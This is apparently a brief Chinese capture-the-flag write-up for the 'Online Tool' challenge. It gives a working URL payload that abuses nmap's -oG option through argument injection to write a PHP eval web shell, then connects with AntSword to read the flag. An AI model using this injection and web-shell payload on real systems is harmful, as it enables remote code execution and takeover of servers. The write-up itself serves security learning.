神奇的眼睛

原题： 【文件上传】buu_[BUUCTF 2018]Online Tool

Wirteup

http://101.43.78.149:8302/?host=%27%20%3C?php%20@eval($_POST[%22chy%22]);?%3E%20-oG%20chy.php%20%27

拿到文件夹名

蚁剑连接
在根目录找到 flag 文件

Flag

xujc{do_U_kn0w_the_nmap?}